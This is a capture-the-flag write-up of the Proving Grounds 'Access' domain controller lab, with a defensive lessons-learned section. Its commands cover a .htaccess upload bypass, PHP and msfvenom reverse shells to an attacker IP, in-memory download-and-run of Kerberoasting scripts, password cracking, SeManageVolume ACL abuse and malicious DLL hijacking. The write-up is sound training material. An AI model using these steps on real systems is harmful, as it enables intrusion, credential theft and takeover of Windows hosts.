the_open_door
coffee
ESEN

Access

Proving Grounds PracticeMediumWindows192.168.114.187

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#active-directory#file-upload#htaccess-bypass#rce#kerberoasting#runascs#password-cracking#semanagevolume#dll-hijacking#oscp
TL;DR. Access is a domain controller (access.offsec) serving an events website on XAMPP. The ticket-purchase form allows file uploads: with a .htaccess that maps an arbitrary extension to PHP (unrestricted upload) we get RCE and a shell as svc_apache. From there, a Kerberoasting grabs the hash for svc_mssql's SPN, which john cracks to trustno1; with those credentials, RunasCs yields a shell as svc_mssql. That account holds SeManageVolumePrivilege, which lets us rewrite the ACLs on C:\Windows and plant a malicious DLL in wbem (DLL hijacking); when systeminfo runs, a shell lands as NT AUTHORITY\NETWORK SERVICE, enough to read the proof.

Recon

Initial scan

The reply TTL 125 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 125 = 128−3; a hint, not proof (it can be spoofed), confirmed by the service scan. The UDP sweep of common ports already gives away a domain controller (DNS, Kerberos, LDAP, NTP):

ping -c 1 192.168.114.187
sudo nmap -sU --top-ports 1000 --min-rate 5000 -Pn -n --open 192.168.114.187
PORT      STATE  SERVICE
53/udp    open   domain
88/udp    open   kerberos-sec
123/udp   open   ntp
389/udp   open   ldap

The full TCP sweep confirms a DC that also runs a web server over HTTP and HTTPS:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.114.187
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
389/tcp  open  ldap
443/tcp  open  ssl/http
445/tcp  open  microsoft-ds
5985/tcp open  http
nmap -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389 -sCV 192.168.114.187 -oN targetedScan
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Access The Event
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0.)
443/tcp  open  ssl/http      Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)

The odd thing on a DC is the Apache with PHP on 80/443: AD is the environment, but the way in is probably that website.

SMB - TCP 445

netexec gives us the domain name and the host name, which we add to /etc/hosts to resolve the vhosts and Kerberos:

netexec smb 192.168.114.187
SMB  192.168.114.187  445  SERVER  [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVER) (domain:access.offsec) (signing:True) (SMBv1:False)
echo '192.168.114.187 access.offsec' | sudo tee -a /etc/hosts

HTTP - TCP 80

The "Access The Event" website is an events site. We fuzz routes and a couple of interesting directories show up, among them /uploads/, which suggests files are uploaded somewhere:

dirsearch -u https://access.offsec/ --exclude-status=403,404,503
200    /assets/
200    /cgi-bin/printenv.pl
301    /forms/
200    /uploads/

The ticket-purchase form ("Buy Tickets") includes an Upload Image field: that's the upload point.

Buy Tickets form on the Access The Event site with an Upload Image field highlighted

Shell as svc_apache

Unrestricted upload with a .htaccess bypass

The form expects an image, but the server is Apache and allows per-directory .htaccess files. The unrestricted upload technique here has a twist: instead of fighting the extension list, we first upload a .htaccess that tells Apache to treat a harmless extension as PHP.

AddType application/x-httpd-php .test

We upload it through the same Upload Image field:

Buy Tickets form with the .htaccess file selected in Upload Image

The application accepts the upload ("You will shortly recieve payment link mail"):

access.offsec popup confirming the .htaccess upload

For the reverse shell we use Ivan Sincek's PHP from revshells.com, pointing at our IP and port 80 (egress-allowed):

revshells.com with the Ivan Sincek PHP selected, IP 192.168.45.227 and port 80

$sh = new Shell('192.168.45.227', 80);
$sh->run();

We save it as rev.test (that extension, mapped to PHP by the .htaccess, doesn't trip the image filter) and upload it the same way:

Buy Tickets form with rev.test selected in Upload Image

access.offsec popup confirming the rev.test upload

The /uploads/ directory confirms rev.test has landed:

Index of /uploads with rev.test (2.5K) served by Apache 2.4.48 on access.offsec

With nc listening on 80:

rlwrap nc -nlvp 80

Visiting https://access.offsec/uploads/rev.test, Apache interprets it as PHP and fires the connection. The shell lands as access\svc_apache from C:\xampp\htdocs\uploads:

/uploads listing with rev.test and, in the listener, the reverse shell with whoami access\svc_apache

# rlwrap nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.227] from (UNKNOWN) [192.168.234.187] 50197
SOCKET: Shell has connected! PID: 1008
Microsoft Windows [Version 10.0.17763.2746]
C:\xampp\htdocs\uploads>whoami
access\svc_apache

The /uploads listing shows the uploaded rev.test; requesting it, the nc on 80 catches the shell as access\svc_apache.

Shell as svc_mssql

Kerberoasting: svc_mssql's SPN

With a shell in the domain, we look for service accounts with SPNs. We download Get-SPN.ps1 and run it in memory; among the results, besides the default krbtgt, svc_mssql shows up with the SPN MSSQLSvc/DC.access.offsec:

IEX(New-Object Net.WebClient).downloadString('http://192.168.45.227/Get-SPN.ps1')
Object Name = MSSQL
servicePrincipalNames
SPN( 1 ) = MSSQLSvc/DC.access.offsec

An account having an SPN enables Kerberoasting: any authenticated user can request a TGS for that service, and part of the ticket is encrypted with the service account's NTLM hash. We request it in Hashcat format with Invoke-Kerberoast:

IEX (New-Object Net.WebClient).DownloadString('http://192.168.45.227/Invoke-Kerberoast.ps1'); Invoke-Kerberoast -OutputFormat Hashcat
$krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec*$47B4A826E147FBAC30D27620711E8B79$9C9335...

The ticket is cracked offline, without touching the machine or risking account lockouts. The password is weak and falls instantly with rockyou:

john --wordlist=/usr/share/wordlists/rockyou.txt hash
trustno1         (svc_mssql)

RunasCs: shell as svc_mssql

The credentials svc_mssql:trustno1 are valid, but the account has no WinRM. We use RunasCs to run commands with its identity from the svc_apache shell. First we confirm the credentials work:

IEX(New-Object Net.WebClient).downloadString('http://192.168.45.227/Invoke-RunasCs.ps1')
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
[*] Warning: The logon for user 'svc_mssql' is limited...
access\svc_mssql

Confirmed, we launch a reverse-shell binary (built with msfvenom) as svc_mssql to get an interactive session in its context. The return goes to 445, another allowed port:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.227 LPORT=445 -f exe > shell.exe

With Penelope listening on 445:

penelope 445
certutil.exe -f -urlcache -split http://192.168.45.227/shell.exe shell.exe
icacls "C:\Windows\Temp\privesc" /grant "Everyone:(F)" /T
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "C:\Windows\Temp\privesc\shell.exe"

Penelope catches the reverse shell as access\svc_mssql after Invoke-RunasCs

PS C:\Windows\temp\privesc> Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "C:\Windows\Temp\privesc\shell.exe"
[*] Warning: The logon for user 'svc_mssql' is limited...

(Penelope)> sessions 2
[+] Got reverse shell from access.offsec~192.168.234.187-WINDOWS  Assigned SessionID <2>
C:\Windows\system32>whoami
access\svc_mssql

Invoke-RunasCs starts shell.exe with svc_mssql's token and Penelope catches the session: the new shell runs as access\svc_mssql.

Privilege escalation

SeManageVolumePrivilege: DLL hijacking in wbem

The first thing in the new shell is to check the token's privileges. svc_mssql holds SeManageVolumePrivilege:

whoami /priv

whoami /priv shows SeManageVolumePrivilege in svc_mssql's privilege list

PRIVILEGES INFORMATION
Privilege Name                Description                        State
SeMachineAccountPrivilege     Add workstations to domain         Disabled
SeChangeNotifyPrivilege       Bypass traverse checking           Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks   Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set     Disabled

The token shows SeManageVolumePrivilege (Disabled, but the exploit enables it on start).

That privilege (SeManageVolumePrivilege) grants low-level disk access and lets us rewrite the ACLs on C:\Windows. The public binary SeManageVolumeExploit.exe (repo) leverages it to grant write access to the system files. We download it and serve it:

wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe
python3 -m http.server 80

wget downloads SeManageVolumeExploit.exe from CsEnox's repo and http.server serves it

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
certutil.exe -f -urlcache -split http://192.168.45.227/SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe

SeManageVolumeExploit.exe runs: Entries changed: 934, DONE

Entries changed: 934
DONE

With write access to C:\Windows, we hijack a DLL loaded by a privileged process. The target is tzres.dll, which the WMI service loads when systeminfo runs. We build a malicious tzres.dll carrying a reverse shell (return to 135):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.227 LPORT=135 -f dll -o tzres.dll

msfvenom builds tzres.dll (460-byte payload, 9216-byte dll) and http.server serves it

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: tzres.dll

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

With nc listening on 135, we pull it with certutil and move it into wbem:

rlwrap nc -nlvp 135
certutil.exe -f -urlcache -split http://192.168.45.227/tzres.dll
move tzres.dll c:\windows\system32\wbem
systeminfo

certutil downloads tzres.dll and move places it into c:\windows\system32\wbem (1 file moved)

The systeminfo we run makes WMI load our DLL. In the listener a shell lands as NT AUTHORITY\NETWORK SERVICE (the context of the process that triggered the load):

A shell lands in the 135 listener whose whoami returns nt authority\network service

# rlwrap nc -nlvp 135
listening on [any] 135 ...
connect to [192.168.45.227] from (UNKNOWN) [192.168.234.187] 51439
Microsoft Windows [Version 10.0.17763.2746]
C:\Windows\system32>whoami
nt authority\network service

(In the svc_mssql shell, systeminfo returns ERROR: The remote procedure call failed because WMI hangs loading our DLL, which is exactly what fires the connection.)

That account can already read the proof on the administrator's desktop:

type C:\Users\Administrator\Desktop\proof.txt

type proof.txt read as network service, with ipconfig, hostname SERVER and whoami

398ec96316ab388f1e6728775ebc463f

Attack chain

"Access The Event" web on XAMPP (HTTP/HTTPS)
        │  upload with .htaccess (AddType ... .test) → rev.test interpreted as PHP
        ▼
shell as svc_apache
        │  Get-SPN → svc_mssql MSSQLSvc SPN → Invoke-Kerberoast → john (trustno1)
        ▼
svc_mssql:trustno1 credentials  ──  RunasCs  ──▶  shell as svc_mssql
        │  whoami /priv: SeManageVolumePrivilege
        │  SeManageVolumeExploit.exe → write access to C:\Windows
        │  malicious tzres.dll in \wbem  →  systeminfo loads the DLL (DLL hijacking)
        ▼
shell as NT AUTHORITY\NETWORK SERVICE  (proof.txt)

Lessons learned

  • A web server on a DC is a prime entry surface. Active Directory was the environment, but the initial foothold came from a XAMPP website. Keeping exposed services off the domain controller limits the blast radius of an application flaw.
  • An extension filter isn't enough if a .htaccess can be uploaded. Mapping an arbitrary extension to PHP with AddType bypasses the image allowlist. Serve uploads from a directory with no PHP execution and forbid per-user .htaccess (AllowOverride None).
  • Kerberoasting punishes weak service-account passwords. Any domain user could request svc_mssql's TGS, and trustno1 fell instantly. Long, random passwords (or managed accounts, gMSA) make offline cracking infeasible.
  • A "maintenance" privilege can be SYSTEM. SeManageVolumePrivilege looks harmless, but it lets you rewrite the ACLs on C:\Windows and open the door to DLL hijacking. Not granting that privilege to service accounts that don't need it closes the vector.
Command cheatsheet 12 commands

Quick review